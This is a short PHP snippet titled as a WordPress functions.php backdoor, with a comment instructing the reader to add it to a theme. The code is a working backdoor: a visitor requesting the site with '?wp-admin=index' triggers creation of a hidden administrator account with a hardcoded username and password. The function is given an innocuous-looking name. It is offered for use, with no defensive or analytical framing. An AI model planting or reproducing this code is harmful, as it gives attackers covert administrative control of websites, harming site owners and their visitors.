wordpress functions.php backdoor

// Add the following to functions.php. Requesting 'http://siteurl?wp-admin=index' will create an administrator called 'foobar' with password 'barfoo'

add_action('wp_head', 'wp_admin');
function wp_admin() {
    If ($_GET['wp-admin'] == 'index') {
        require('wp-includes/registration.php');
        If (!username_exists('foobar')) {
            $user_id = wp_create_user('foobar', 'barfoo');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}